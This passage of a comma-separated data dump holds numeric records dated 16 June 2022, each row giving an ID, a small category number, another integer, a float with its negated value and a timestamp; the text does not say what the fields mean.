13:32:47.686064+00 +49572,3,13183,6.658231363,-6.658231363,2022-06-16 13:50:05.540009+00 +49651,6,13182,3.602238793,-3.602238793,2022-06-16 13:50:22.213183+00 +43952,2,12095,3.203421023,-3.203421023,2022-06-16 13:17:09.735031+00 +46765,4,12563,6.423929944,-6.423929944,2022-06-16 13:34:29.326408+00 +40870,2,11584,3.688826328,-3.688826328,2022-06-16 13:03:04.862205+00 +46783,4,12472,7.621649601,-7.621649601,2022-06-16 13:34:33.750512+00 +64740,6,15274,3.548283553,-3.548283553,2022-06-16 14:59:39.56869+00 +53440,6,13781,5.909202299,-5.909202299,2022-06-16 14:10:35.370175+00 +53449,3,13485,3.976697637,-3.976697637,2022-06-16 14:10:40.926359+00 +53574,4,13745,9.344647697,-9.344647697,2022-06-16 14:11:46.420729+00 +60832,3,14576,3.191312811,0,2022-06-16 14:45:47.944965+00 +44440,3,12075,7.62728967,-7.62728967,2022-06-16 13:20:01.49629+00 +41112,4,11632,0.616902383,0,2022-06-16 13:04:11.783223+00 +41113,4,11648,1.383714517,-1.383714517,2022-06-16 13:04:11.786656+00 +41114,4,11629,2.404977426,-2.404977426,2022-06-16 13:04:11.787546+00 +41115,4,11613,8.197756843,-8.197756843,2022-06-16 13:04:11.788322+00 +41116,4,11639,11.39546736,-11.39546736,2022-06-16 13:04:11.789167+00 +41117,4,11703,11.3545044,-11.3545044,2022-06-16 13:04:11.789967+00 +41118,4,11383,11.31375011,-11.31375011,2022-06-16 13:04:11.790911+00 +41119,4,11447,11.27320344,-11.27320344,2022-06-16 13:04:11.791641+00 +41120,4,11511,11.23286335,-11.23286335,2022-06-16 13:04:11.792267+00 +41121,4,11575,11.19272881,-11.19272881,2022-06-16 13:04:11.792882+00 +41122,4,11702,11.92683404,-11.92683404,2022-06-16 13:04:11.793507+00 +41123,4,11382,11.88243721,-11.88243721,2022-06-16 13:04:11.79413+00 +41124,4,11446,11.83826913,-11.83826913,2022-06-16 13:04:11.794777+00 +41125,4,11510,11.79432874,-11.79432874,2022-06-16 13:04:11.795375+00 +41126,4,11574,11.75061496,-11.75061496,2022-06-16 13:04:11.795983+00 +41127,4,11638,11.7071267,-11.7071267,2022-06-16 13:04:11.796597+00 +41128,4,11645,2.477144536,-2.477144536,2022-06-16 13:04:11.797195+00 +41129,4,11597,14.44468045,-14.44468045,2022-06-16 13:04:11.797819+00 +41130,4,11671,14.44493072,-14.44493072,2022-06-16 13:04:11.798465+00 +41131,4,11351,14.3919383,-14.3919383,2022-06-16 13:04:11.799274+00 +41132,4,11415,14.33918259,-14.33918259,2022-06-16 13:04:11.799924+00 +41133,4,11479,14.28666317,-14.28666317,2022-06-16 13:04:11.800622+00 +41134,4,11543,14.23437959,-14.23437959,2022-06-16 13:04:11.801265+00 +41135,4,11670,15.12040375,-15.12040375,2022-06-16 13:04:11.801867+00 +41136,4,11350,15.06372911,-15.06372911,2022-06-16 13:04:11.802874+00 +41137,4,11414,15.00730119,-15.00730119,2022-06-16 13:04:11.803515+00 +41138,4,11478,14.95111979,-14.95111979,2022-06-16 13:04:11.804137+00 +44441,3,12139,7.576183119,-7.576183119,2022-06-16 13:20:01.500546+00 +53724,3,13549,3.882540067,-3.882540067,2022-06-16 14:12:41.363328+00 +47184,6,12734,4.011037043,-4.011037043,2022-06-16 13:36:31.225556+00 +60833,3,14640,3.188097755,0,2022-06-16 14:45:47.948353+00 +44578,6,12222,4.496641941,-4.496641941,2022-06-16 13:20:19.438899+00 +50187,6,13139,12.76863815,-12.76863815,2022-06-16 13:53:11.045802+00 +60834,3,14704,3.184890417,0,2022-06-16 14:45:47.94916+00 +41344,4,11416,8.706046612,-8.706046612,2022-06-16 13:05:05.843547+00 +41352,4,11625,12.40892747,-12.40892747,2022-06-16 13:05:08.620452+00 +50246,6,13098,5.556280441,-5.556280441,2022-06-16 13:53:18.151069+00 +44721,2,12223,3.117804636,-3.117804636,2022-06-16 13:21:09.939608+00 +47343,3,12720,2.665550029,0,2022-06-16 13:37:56.755132+00 +50276,6,13162,5.530843527,-5.530843527,2022-06-16 13:53:34.104101+00 +53910,4,13728,5.528687449,-5.528687449,2022-06-16 14:14:06.581051+00 +41460,3,11627,8.342284469,-8.342284469,2022-06-16 13:05:52.973459+00 +44825,4,12208,0.613866893,0,2022-06-16 13:22:11.900171+00 +41488,7,11626,7.006649478,-7.006649478,2022-06-16 13:06:00.886349+00 +44826,4,12224,1.333029676,-1.333029676,2022-06-16 13:22:11.903822+00 +44827,4,12279,10.49834518,-10.49834518,2022-06-16 13:22:11.904719+00 +44828,4,12278,11.14007255,-11.14007255,2022-06-16 13:22:11.905691+00 +44829,4,12270,3.016237011,-3.016237011,2022-06-16 13:22:11.906593+00 +44830,4,12254,6.163151835,-6.163151835,2022-06-16 13:22:11.907662+00 +44862,1,12200,15.24802146,-15.24802146,2022-06-16 13:22:20.674245+00 +44863,1,12269,2.590487126,-2.590487126,2022-06-16 13:22:20.675557+00 +47428,4,12720,0.607747323,0,2022-06-16 13:38:08.183813+00 +47429,4,12736,1.272550866,-1.272550866,2022-06-16 13:38:08.184995+00 +47467,4,12501,8.913208327,-8.913208327,2022-06-16 13:38:13.46012+00 +45001,6,12245,7.706325121,-7.706325121,2022-06-16 13:23:26.522523+00 +47468,4,12565,8.88388481,-8.88388481,2022-06-16 13:38:13.46145+00 +60835,3,14768,3.181690766,0,2022-06-16 14:45:47.949929+00 +41703,1,11681,9.808440214,-9.808440214,2022-06-16 13:07:02.581279+00 +41704,1,11675,6.581480033,-6.581480033,2022-06-16 13:07:02.584831+00 +41705,1,11683,20.80859044,-20.80859044,2022-06-16 13:07:02.585764+00 +41706,1,11699,13.0574101,-13.0574101,2022-06-16 13:07:02.58685+00 +41707,1,11712,1.2545187,-1.2545187,2022-06-16 13:07:02.587662+00 +41708,1,11674,12.90175736,-12.90175736,2022-06-16 13:07:02.588435+00 +41709,1,11706,13.16651145,-13.16651145,2022-06-16 13:07:02.589221+00 +41710,1,11696,0.536184916,0,2022-06-16 13:07:02.58991+00 +50384,1,13227,1.473494814,-1.473494814,2022-06-16 13:54:08.782053+00 +41726,2,11742,7.858990004,-7.858990004,2022-06-16 13:07:04.983642+00 +47521,6,12766,10.03384605,-10.03384605,2022-06-16 13:38:29.315411+00 +41734,2,11758,4.375558773,-4.375558773,2022-06-16 13:07:05.166306+00 +50385,1,13243,1.365888895,-1.365888895,2022-06-16 13:54:08.785322+00 +41741,2,11759,4.385508384,-4.385508384,2022-06-16 13:07:05.350169+00 +50421,4,13235,8.866843744,-8.866843744,2022-06-16 13:54:23.96792+00 +45198,4,12237,13.82432903,-13.82432903,2022-06-16 13:24:13.525592+00 +45199,4,12157,2.159846404,-2.159846404,2022-06-16 13:24:13.528994+00 +41766,4,11640,7.830222014,-7.830222014,2022-06-16 13:07:07.776286+00 +45200,4,12221,2.155441704,-2.155441704,2022-06-16 13:24:13.529914+00 +45201,4,12285,2.151048433,-2.151048433,2022-06-16 13:24:13.530762+00 +45202,4,12253,7.490938471,-7.490938471,2022-06-16 13:24:13.531644+00 +50422,4,13195,13.65866309,-13.65866309,2022-06-16 13:54:23.969195+00 +53982,6,13918,9.306511068,-9.306511068,2022-06-16 14:14:24.848944+00 +39526,4,11339,12.62476936,-12.62476936,2022-06-16 12:56:21.073006+00 +39527,4,11096,8.829760198,-8.829760198,2022-06-16 12:56:21.074331+00 +39528,4,11379,9.585470019,-9.585470019,2022-06-16 12:56:21.07598+00 +39529,4,11387,1.469165313,-1.469165313,2022-06-16 12:56:21.077395+00 +39530,4,11371,1.702956269,-1.702956269,2022-06-16 12:56:21.078715+00 +39531,4,11355,4.389872238,-4.389872238,2022-06-16 12:56:22.765561+00 +39681,2,11387,4.85488397,-4.85488397,2022-06-16 12:57:14.425206+00 +39533,6,11413,8.691838575,-8.691838575,2022-06-16 12:56:23.057007+00 +39534,1,11371,2.745846181,-2.745846181,2022-06-16 12:56:23.486343+00 +39535,1,11368,15.84041177,-15.84041177,2022-06-16 12:56:23.489582+00 +39536,1,11387,2.3776474,-2.3776474,2022-06-16 12:56:23.490456+00 +45770,3,12463,9.423114284,-9.423114284,2022-06-16 13:28:06.784275+00 +45785,4,12462,2.836669839,-2.836669839,2022-06-16 13:28:09.815829+00 +45786,4,12478,2.22572451,-2.22572451,2022-06-16 13:28:09.817051+00 +39972,1,11477,12.83387629,-12.83387629,2022-06-16 12:58:44.555592+00 +45787,4,12400,0.610041849,0,2022-06-16 13:28:09.81783+00 +43040,6,11949,1.52889831,-1.52889831,2022-06-16 13:12:44.515969+00 +40096,1,11448,7.224226006,-7.224226006,2022-06-16 12:59:14.554611+00 +45788,4,12446,6.004712793,-6.004712793,2022-06-16 13:28:09.818635+00 +45789,4,12471,10.34740725,-10.34740725,2022-06-16 13:28:09.819446+00 +45790,4,12470,11.00291545,-11.00291545,2022-06-16 13:28:09.820251+00 +39548,6,11421,6.598711509,-6.598711509,2022-06-16 12:56:24.907812+00 +45791,4,12416,1.295799912,-1.295799912,2022-06-16 13:28:09.820988+00 +40298,6,11566,6.412883812,-6.412883812,2022-06-16 13:00:17.369978+00 +40352,1,11497,6.722185637,-6.722185637,2022-06-16 13:00:23.517001+00 +40353,1,11513,6.712983864,-6.712983864,2022-06-16 13:00:23.518381+00 +40354,1,11489,9.704082077,-9.704082077,2022-06-16 13:00:23.519203+00 +39554,3,11440,2.654568128,0,2022-06-16 12:56:25.470043+00 +39555,1,11454,2.798906138,-2.798906138,2022-06-16 12:56:26.463226+00 +39556,1,11438,3.625017444,-3.625017444,2022-06-16 12:56:26.46675+00 +39559,4,11160,8.823427107,-8.823427107,2022-06-16 12:56:29.626943+00 +39560,4,11347,7.152624635,-7.152624635,2022-06-16 12:56:29.628073+00 +40355,1,11481,6.777034853,-6.777034853,2022-06-16 13:00:23.520033+00 +39562,6,11437,1.906728989,-1.906728989,2022-06-16 12:56:30.004908+00 +39563,3,11117,6.634996303,-6.634996303,2022-06-16 12:56:31.676897+00 +40356,1,11496,15.75524853,-15.75524853,2022-06-16 13:00:23.520908+00 +39565,6,11453,1.964723646,-1.964723646,2022-06-16 12:56:31.892352+00 +39566,2,11434,5.075265689,-5.075265689,2022-06-16 12:56:34.433882+00 +40364,6,11581,1.892796275,-1.892796275,2022-06-16 13:00:27.11167+00 +45822,4,12394,6.17387227,-6.17387227,2022-06-16 13:28:14.822186+00 +43427,6,11923,13.45085738,-13.45085738,2022-06-16 13:14:25.725863+00 +40434,4,11505,13.62613363,-13.62613363,2022-06-16 13:01:01.727062+00 +40435,4,11481,12.85235276,-12.85235276,2022-06-16 13:01:01.730454+00 +40492,6,11434,7.415011858,-7.415011858,2022-06-16 13:01:10.315982+00 +52732,2,13613,3.202557595,-3.202557595,2022-06-16 14:06:24.425943+00 +60196,2,14762,2.04237571,-2.04237571,2022-06-16 14:43:06.108134+00 +43669,3,11947,7.825808751,-7.825808751,2022-06-16 13:15:58.741193+00 +40798,6,11539,13.5497282,-13.5497282,2022-06-16 13:02:43.964058+00 +40819,1,11647,3.062508807,-3.062508807,2022-06-16 13:02:53.517901+00 +40820,1,11646,2.716897369,-2.716897369,2022-06-16 13:02:53.519739+00 +40821,1,11631,3.923565796,-3.923565796,2022-06-16 13:02:53.520714+00 +40822,1,11630,3.506516277,-3.506516277,2022-06-16 13:02:53.521673+00 +40839,3,11632,2.662153048,0,2022-06-16 13:02:55.474587+00 +46467,1,12411,1.718538874,-1.718538874,2022-06-16 13:32:41.711479+00 +46468,1,12514,11.79181129,-11.79181129,2022-06-16 13:32:41.714983+00 +46469,1,12347,1.715203254,-1.715203254,2022-06-16 13:32:41.715919+00 +44139,6,12158,4.590654741,-4.590654741,2022-06-16 13:18:07.501885+00 +46470,1,12507,6.1774197,-6.1774197,2022-06-16 13:32:41.71674+00 +46471,1,12544,1.063793412,-1.063793412,2022-06-16 13:32:41.717564+00 +46472,1,12506,11.35777194,-11.35777194,2022-06-16 13:32:41.71855+00 +46473,1,12475,1.709756267,-1.709756267,2022-06-16 13:32:41.719431+00 +41140,4,11695,3.386247059,-3.386247059,2022-06-16 13:04:13.701693+00 +41141,4,11679,6.430338191,-6.430338191,2022-06-16 13:04:13.70504+00 +41142,4,11477,10.5221449,-10.5221449,2022-06-16 13:04:13.705952+00 +41143,4,11605,10.48422889,-10.48422889,2022-06-16 13:04:13.707097+00 +41169,1,11644,14.82551774,-14.82551774,2022-06-16 13:04:20.568287+00 +41170,1,11612,14.79269595,-14.79269595,2022-06-16 13:04:20.569372+00 +41171,1,11628,14.75937937,-14.75937937,2022-06-16 13:04:20.570399+00 +46474,1,12531,12.24358029,-12.24358029,2022-06-16 13:32:41.720061+00 +46475,1,12508,13.10990085,-13.10990085,2022-06-16 13:32:41.720719+00 +41219,6,11603,13.53624963,-13.53624963,2022-06-16 13:04:41.190167+00 +46476,1,12539,1.702261837,-1.702261837,2022-06-16 13:32:41.721301+00 +46477,1,12528,0.497245363,0,2022-06-16 13:32:41.721891+00 +44517,6,12173,11.5930696,-11.5930696,2022-06-16 13:20:11.817208+00 +46478,1,12515,20.33588351,-20.33588351,2022-06-16 13:32:41.722491+00 +46479,1,12522,3.572971903,-3.572971903,2022-06-16 13:32:41.723114+00 +44630,1,12205,2.619828986,-2.619828986,2022-06-16 13:20:32.65824+00 +60538,6,14877,4.15977334,-4.15977334,2022-06-16 14:44:32.371314+00 +41427,1,11424,5.349907545,-5.349907545,2022-06-16 13:05:35.595408+00 +57337,2,14400,3.273649526,-3.273649526,2022-06-16 14:31:05.316501+00 +46766,1,12572,13.00089256,-13.00089256,2022-06-16 13:34:29.712135+00 +44876,3,12272,2.649719408,0,2022-06-16 13:22:25.622126+00 +46767,1,12476,13.12987394,-13.12987394,2022-06-16 13:34:29.715476+00 +41517,2,11679,8.201521927,-8.201521927,2022-06-16 13:06:05.137959+00 +46768,1,12540,13.07355999,-13.07355999,2022-06-16 13:34:29.716283+00 +46769,1,12604,13.01755912,-13.01755912,2022-06-16 13:34:29.717041+00 +57338,2,14361,9.678882642,-9.678882642,2022-06-16 14:31:05.319905+00 +53575,4,13721,8.681810862,-8.681810862,2022-06-16 14:11:52.357538+00 +57339,2,14362,11.04382915,-11.04382915,2022-06-16 14:31:05.320728+00 +57340,2,14386,10.86054209,-10.86054209,2022-06-16 14:31:05.321473+00 +41621,6,11774,4.937039865,-4.937039865,2022-06-16 13:06:26.870588+00 +53799,2,13855,8.042171041,-8.042171041,2022-06-16 14:13:09.526666+00 +41668,6,11667,13.48994174,-13.48994174,2022-06-16 13:06:36.971241+00 +41678,6,11707,3.224767276,-3.224767276,2022-06-16 13:06:37.47882+00 +53911,4,13918,5.083909352,-5.083909352,2022-06-16 14:14:08.100708+00 +53912,4,13934,1.89863229,-1.89863229,2022-06-16 14:14:08.105608+00 +47233,2,12672,3.625881337,-3.625881337,2022-06-16 13:37:04.932567+00 +45363,6,12138,6.483998317,-6.483998317,2022-06-16 13:25:39.678108+00 +53913,4,13950,1.447459353,-1.447459353,2022-06-16 14:14:08.107039+00 +47273,6,12702,10.05168456,-10.05168456,2022-06-16 13:37:12.242293+00 +41749,2,11774,3.421575948,-3.421575948,2022-06-16 13:07:05.560639+00 +60836,3,14832,3.178498773,0,2022-06-16 14:45:47.950811+00 +50386,4,13294,2.17833604,-2.17833604,2022-06-16 13:54:11.400606+00 +50387,4,13310,1.686014984,-1.686014984,2022-06-16 13:54:11.404149+00 +45507,6,12382,10.41200249,-10.41200249,2022-06-16 13:26:21.132087+00 +47381,3,12735,7.259612696,-7.259612696,2022-06-16 13:38:04.21463+00 +50388,4,13278,5.30795897,-5.30795897,2022-06-16 13:54:11.40496+00 +47445,1,12699,6.044027011,-6.044027011,2022-06-16 13:38:11.742795+00 +47446,1,12731,1.591988373,-1.591988373,2022-06-16 13:38:11.744078+00 +47447,1,12698,11.14877082,-11.14877082,2022-06-16 13:38:11.744875+00 +39567,3,11133,6.796507642,-6.796507642,2022-06-16 12:56:34.786772+00 +39568,1,11369,6.858211094,-6.858211094,2022-06-16 12:56:41.492222+00 +39569,1,11385,6.848734525,-6.848734525,2022-06-16 12:56:41.495652+00 +39570,1,11453,3.353510009,-3.353510009,2022-06-16 12:56:41.496485+00 +39571,1,11353,6.924908426,-6.924908426,2022-06-16 12:56:41.497267+00 +39572,1,11361,9.619576129,-9.619576129,2022-06-16 12:56:41.498033+00 +39573,1,11437,3.255182159,-3.255182159,2022-06-16 12:56:41.49883+00 +45674,1,12190,6.191231469,-6.191231469,2022-06-16 13:27:20.634473+00 +45675,1,12126,6.173257141,-6.173257141,2022-06-16 13:27:20.637825+00 +45676,1,12318,6.155366161,-6.155366161,2022-06-16 13:27:20.638781+00 +45677,1,12062,6.137558015,-6.137558015,2022-06-16 13:27:20.63957+00 +39578,6,11347,13.57460584,-13.57460584,2022-06-16 12:56:46.167336+00 +39973,1,11440,0.551299627,0,2022-06-16 12:58:47.577141+00 +39974,1,11456,1.275318008,-1.275318008,2022-06-16 12:58:47.580357+00 +39975,1,11427,20.95125863,-20.95125863,2022-06-16 12:58:47.581133+00 +39976,1,11419,6.670530155,-6.670530155,2022-06-16 12:58:47.581861+00 +39977,1,11443,13.26584921,-13.26584921,2022-06-16 12:58:47.582583+00 +45678,1,12254,6.119832196,-6.119832196,2022-06-16 13:27:20.640511+00 +45679,1,12382,6.102188199,-6.102188199,2022-06-16 13:27:20.641298+00 +56423,2,14334,2.198584322,-2.198584322,2022-06-16 14:27:05.859805+00 +52618,6,13645,10.77025154,-10.77025154,2022-06-16 14:06:05.298102+00 +39589,1,11354,13.80582733,-13.80582733,2022-06-16 12:56:47.488644+00 +39590,1,11421,10.24099674,-10.24099674,2022-06-16 12:56:47.492082+00 +39591,1,11362,13.93475459,-13.93475459,2022-06-16 12:56:47.493023+00 +39592,1,11386,13.9661607,-13.9661607,2022-06-16 12:56:47.493979+00 +39593,1,11370,5.635580169,-5.635580169,2022-06-16 12:56:47.494924+00 +39594,1,11384,7.308343118,-7.308343118,2022-06-16 12:56:50.502792+00 +52733,4,13654,13.21054696,-13.21054696,2022-06-16 14:06:29.544037+00 +40300,6,11582,5.076612218,-5.076612218,2022-06-16 13:00:17.491029+00 +46159,6,12541,1.572949707,-1.572949707,2022-06-16 13:30:30.818273+00 +40436,1,11566,3.51368348,-3.51368348,2022-06-16 13:01:02.51545+00 +40437,1,11582,2.72354881,-2.72354881,2022-06-16 13:01:02.519034+00 +46373,3,12527,9.248222034,-9.248222034,2022-06-16 13:32:07.03456+00 +46374,3,12591,9.189771703,-9.189771703,2022-06-16 13:32:07.039006+00 +46408,1,12591,3.236912399,-3.236912399,2022-06-16 13:32:14.687232+00 +46409,1,12607,2.500392412,-2.500392412,2022-06-16 13:32:14.688483+00 +56757,3,14314,4.528408221,-4.528408221,2022-06-16 14:29:01.666666+00 +46480,2,12586,3.880790813,-3.880790813,2022-06-16 13:32:42.023611+00 +56934,2,14331,2.905142096,-2.905142096,2022-06-16 14:29:14.563766+00 +40906,2,11647,3.477147547,-3.477147547,2022-06-16 13:03:05.640278+00 +44201,6,12051,13.36560756,-13.36560756,2022-06-16 13:18:18.164336+00 +44230,1,12142,3.107926742,-3.107926742,2022-06-16 13:18:26.576523+00 +44231,1,12158,2.45719413,-2.45719413,2022-06-16 13:18:26.577948+00 +46770,6,12394,6.129112294,-6.129112294,2022-06-16 13:34:32.530574+00 +44366,7,11946,6.502654408,-6.502654408,2022-06-16 13:19:12.929419+00 +53442,6,13789,4.812300131,-4.812300131,2022-06-16 14:10:37.31581+00 +53454,1,13791,6.3799671,-6.3799671,2022-06-16 14:10:41.816839+00 +53576,4,13737,8.606437195,-8.606437195,2022-06-16 14:11:54.019748+00 +53634,6,13845,5.888092532,-5.888092532,2022-06-16 14:12:08.110565+00 +53672,1,13816,6.319750129,-6.319750129,2022-06-16 14:12:14.81868+00 +53673,1,13854,5.127366691,-5.127366691,2022-06-16 14:12:14.820018+00 +53674,1,13870,1.937017004,-1.937017004,2022-06-16 14:12:14.820807+00 +53675,1,13886,1.479110212,-1.479110212,2022-06-16 14:12:14.82172+00 +53676,1,13792,4.305802487,-4.305802487,2022-06-16 14:12:14.822568+00 +60699,2,14910,2.260002242,-2.260002242,2022-06-16 14:45:06.069978+00 +44877,4,12211,9.278078962,-9.278078962,2022-06-16 13:22:27.04405+00 +44878,4,12203,1.358683196,-1.358683196,2022-06-16 13:22:27.04734+00 +44879,4,12171,13.013269,-13.013269,2022-06-16 13:22:27.048275+00 +44880,4,12187,4.323955627,-4.323955627,2022-06-16 13:22:27.049133+00 +44931,2,12255,8.288392828,-8.288392828,2022-06-16 13:23:05.118888+00 +50389,4,13232,0.603082832,0,2022-06-16 13:54:11.405762+00 +50390,4,13248,1.257383998,-1.257383998,2022-06-16 13:54:11.406526+00 +45003,6,12253,5.952801007,-5.952801007,2022-06-16 13:23:28.395093+00 +41548,4,11710,2.815873343,-2.815873343,2022-06-16 13:06:09.582225+00 +41549,4,11758,3.616797331,-3.616797331,2022-06-16 13:06:09.585622+00 +41550,4,11767,11.04528646,-11.04528646,2022-06-16 13:06:09.586524+00 +41551,4,11766,11.59758642,-11.59758642,2022-06-16 13:06:09.587467+00 +41552,4,11712,1.442080963,-1.442080963,2022-06-16 13:06:09.588308+00 +45026,6,12221,1.643747474,-1.643747474,2022-06-16 13:23:35.298129+00 +45027,6,12285,1.641200212,-1.641200212,2022-06-16 13:23:35.299536+00 +50391,4,13197,13.09540997,-13.09540997,2022-06-16 13:54:11.407296+00 +41608,6,11742,10.64887193,-10.64887193,2022-06-16 13:06:26.424472+00 +41624,6,11741,6.339669396,-6.339669396,2022-06-16 13:06:28.448871+00 +50392,4,13245,1.932283217,-1.932283217,2022-06-16 13:54:11.408035+00 +41643,4,11662,17.26737933,-17.26737933,2022-06-16 13:06:30.861265+00 +53856,4,13785,8.571415195,-8.571415195,2022-06-16 14:13:51.965458+00 +41663,3,11453,6.852042357,-6.852042357,2022-06-16 13:06:36.092184+00 +47591,2,12736,3.610147047,-3.610147047,2022-06-16 13:39:05.355136+00 +41679,1,11773,3.325921498,-3.325921498,2022-06-16 13:06:47.597239+00 +41680,1,11757,2.879379397,-2.879379397,2022-06-16 13:06:47.600959+00 +50505,6,13248,4.083178075,-4.083178075,2022-06-16 13:54:42.810712+00 +50547,2,13248,3.691306638,-3.691306638,2022-06-16 13:55:05.113194+00 +41720,2,11712,3.835583618,-3.835583618,2022-06-16 13:07:04.836931+00 +60837,4,14752,5.197780757,-5.197780757,2022-06-16 14:45:49.478926+00 +54106,6,13883,2.159333236,-2.159333236,2022-06-16 14:15:12.887708+00 +41757,2,11775,3.396891528,-3.396891528,2022-06-16 13:07:05.589442+00 +61124,3,14907,3.238532368,0,2022-06-16 14:46:56.669555+00 +61191,2,14975,2.245025333,-2.245025333,2022-06-16 14:47:06.091383+00 +47878,6,12861,1.50327739,-1.50327739,2022-06-16 13:40:37.34713+00 +47932,2,12831,8.307310533,-8.307310533,2022-06-16 13:41:05.410037+00 +54387,2,14015,2.156206559,-2.156206559,2022-06-16 14:17:06.014917+00 +50885,1,13291,1.434794289,-1.434794289,2022-06-16 13:56:32.783655+00 +50886,1,13307,1.326942133,-1.326942133,2022-06-16 13:56:32.787146+00 +50887,1,13308,12.54232203,-12.54232203,2022-06-16 13:56:32.787998+00 +41787,4,11704,7.807703224,-7.807703224,2022-06-16 13:07:12.98702+00 +50888,1,13298,10.81495715,-10.81495715,2022-06-16 13:56:32.78878+00 +50889,1,13290,2.837095739,-2.837095739,2022-06-16 13:56:32.789543+00 +50890,1,13299,11.4533409,-11.4533409,2022-06-16 13:56:32.790322+00 +50891,1,13283,19.88867551,-19.88867551,2022-06-16 13:56:32.791143+00 +50892,1,13275,5.728629027,-5.728629027,2022-06-16 13:56:32.791816+00 +50893,1,13274,10.49330214,-10.49330214,2022-06-16 13:56:32.792544+00 +41794,2,11691,5.26252542,-5.26252542,2022-06-16 13:07:14.430518+00 +48143,6,12925,1.580755427,-1.580755427,2022-06-16 13:42:10.109371+00 +48173,3,12843,6.660871739,-6.660871739,2022-06-16 13:42:17.675047+00 +48181,4,12842,5.697800497,-5.697800497,2022-06-16 13:42:18.127889+00 +48201,4,12851,8.891486161,-8.891486161,2022-06-16 13:42:23.428985+00 +41799,2,11707,4.594463582,-4.594463582,2022-06-16 13:07:14.553586+00 +41800,1,11684,14.50989561,-14.50989561,2022-06-16 13:07:14.568031+00 +49090,6,13039,4.833828498,-4.833828498,2022-06-16 13:47:17.552916+00 +52737,4,13587,5.809557078,-5.809557078,2022-06-16 14:06:30.832997+00 +52775,1,13611,1.28248326,-1.28248326,2022-06-16 14:06:38.815002+00 +41806,3,11760,2.666411572,0,2022-06-16 13:07:14.904064+00 +43042,6,11965,1.778067796,-1.778067796,2022-06-16 13:12:46.388203+00 +46161,4,12457,10.92740188,-10.92740188,2022-06-16 13:30:38.840803+00 +46179,7,12400,10.63921248,0,2022-06-16 13:30:46.187384+00 +52776,1,13594,10.16578148,-10.16578148,2022-06-16 14:06:38.81642+00 +52777,1,13618,10.42687321,-10.42687321,2022-06-16 14:06:38.817224+00 +46375,4,12528,0.611281029,0,2022-06-16 13:32:08.045727+00 +46376,4,12544,1.309036302,-1.309036302,2022-06-16 13:32:08.04898+00 +52778,1,13619,11.1504271,-11.1504271,2022-06-16 14:06:38.818022+00 +46483,6,12573,5.682986066,-5.682986066,2022-06-16 13:32:43.469501+00 +46497,4,12539,1.127362351,-1.127362351,2022-06-16 13:32:50.899444+00 +52779,1,13627,1.176539256,-1.176539256,2022-06-16 14:06:38.818819+00 +43728,3,12079,10.11073421,-10.11073421,2022-06-16 13:16:05.923+00 +43785,6,11882,6.82494054,-6.82494054,2022-06-16 13:16:15.07652+00 +52780,1,13595,5.634755066,-5.634755066,2022-06-16 14:06:38.819607+00 +43822,2,12013,4.386975986,-4.386975986,2022-06-16 13:16:24.870624+00 +49655,3,13099,6.252483718,-6.252483718,2022-06-16 13:50:22.25558+00 +46771,1,12595,12.153436,-12.153436,2022-06-16 13:34:32.712533+00 +46772,1,12603,1.675670317,-1.675670317,2022-06-16 13:34:32.715736+00 +46773,1,12592,0.49459347,0,2022-06-16 13:34:32.716565+00 +44051,4,11928,8.499342591,-8.499342591,2022-06-16 13:17:51.055378+00 +46774,1,12579,20.31006501,-20.31006501,2022-06-16 13:34:32.717283+00 +46775,1,12594,11.58067897,-11.58067897,2022-06-16 13:34:32.718032+00 +46776,1,12608,1.036587051,-1.036587051,2022-06-16 13:34:32.718829+00 +46777,1,12570,11.28745014,-11.28745014,2022-06-16 13:34:32.719594+00 +46778,1,12571,6.106472319,-6.106472319,2022-06-16 13:34:32.720233+00 +44313,1,12081,6.575272111,-6.575272111,2022-06-16 13:18:56.626701+00 +44314,1,12065,9.86814247,-9.86814247,2022-06-16 13:18:56.628036+00 +44315,1,12090,12.55447222,-12.55447222,2022-06-16 13:18:56.62899+00 +44316,1,12067,20.60533557,-20.60533557,2022-06-16 13:18:56.62978+00 +44317,1,12058,12.13526263,-12.13526263,2022-06-16 13:18:56.63052+00 +46779,1,12578,11.69221449,-11.69221449,2022-06-16 13:34:32.720902+00 +46780,1,12586,3.495237323,-3.495237323,2022-06-16 13:34:32.721498+00 +46781,1,12587,1.823821139,-1.823821139,2022-06-16 13:34:32.722097+00 +52781,1,13610,2.551303249,-2.551303249,2022-06-16 14:06:38.820369+00 +49852,1,13075,8.222247077,-8.222247077,2022-06-16 13:51:23.776068+00 +46942,2,12587,4.617618232,-4.617618232,2022-06-16 13:35:14.468032+00 +46943,2,12347,4.24596034,-4.24596034,2022-06-16 13:35:14.471263+00 +44725,2,12190,7.82946435,-7.82946435,2022-06-16 13:21:10.025732+00 +46944,2,12411,4.225651463,-4.225651463,2022-06-16 13:35:14.472123+00 +46945,2,12475,4.205439146,-4.205439146,2022-06-16 13:35:14.472882+00 +46946,2,12539,4.185322352,-4.185322352,2022-06-16 13:35:14.473637+00 +46947,2,12603,4.165300053,-4.165300053,2022-06-16 13:35:14.474372+00 +44881,1,12253,9.805806265,-9.805806265,2022-06-16 13:22:29.656429+00 +64300,4,15326,4.528720165,-4.528720165,2022-06-16 14:58:08.366449+00 +64301,4,15296,1.169511146,-1.169511146,2022-06-16 14:58:08.370376+00 +45004,1,12188,13.39707507,-13.39707507,2022-06-16 13:23:29.65828+00 +64302,4,15280,0.657167794,0,2022-06-16 14:58:08.371495+00 +57007,4,14313,7.79662944,-7.79662944,2022-06-16 14:29:41.654295+00 +57008,4,14297,7.864682678,-7.864682678,2022-06-16 14:29:41.657358+00 +64303,4,15358,1.457039884,-1.457039884,2022-06-16 14:58:08.372375+00 +45167,6,12334,5.495993286,-5.495993286,2022-06-16 13:24:10.825355+00 +60701,1,14869,9.819892894,-9.819892894,2022-06-16 14:45:06.093132+00 +47346,4,12633,10.70659258,-10.70659258,2022-06-16 13:37:58.791825+00 +53577,4,13688,7.781611501,-7.781611501,2022-06-16 14:11:56.13501+00 +45293,4,12216,7.673098321,-7.673098321,2022-06-16 13:24:46.520828+00 +53635,4,13886,1.475220494,-1.475220494,2022-06-16 14:12:09.060469+00 +50393,1,13310,1.847020907,-1.847020907,2022-06-16 13:54:11.783556+00 +53636,4,13870,1.930526369,-1.930526369,2022-06-16 14:12:09.063857+00 +53637,4,13854,5.107374237,-5.107374237,2022-06-16 14:12:09.064673+00 +53638,4,13824,1.166104516,-1.166104516,2022-06-16 14:12:09.065752+00 +45452,3,12399,9.547963158,-9.547963158,2022-06-16 13:26:06.038839+00 +53857,1,13845,10.48598074,-10.48598074,2022-06-16 14:13:53.896036+00 +54158,4,13873,9.11160152,-9.11160152,2022-06-16 14:15:50.677061+00 +47879,1,12861,2.890289131,-2.890289131,2022-06-16 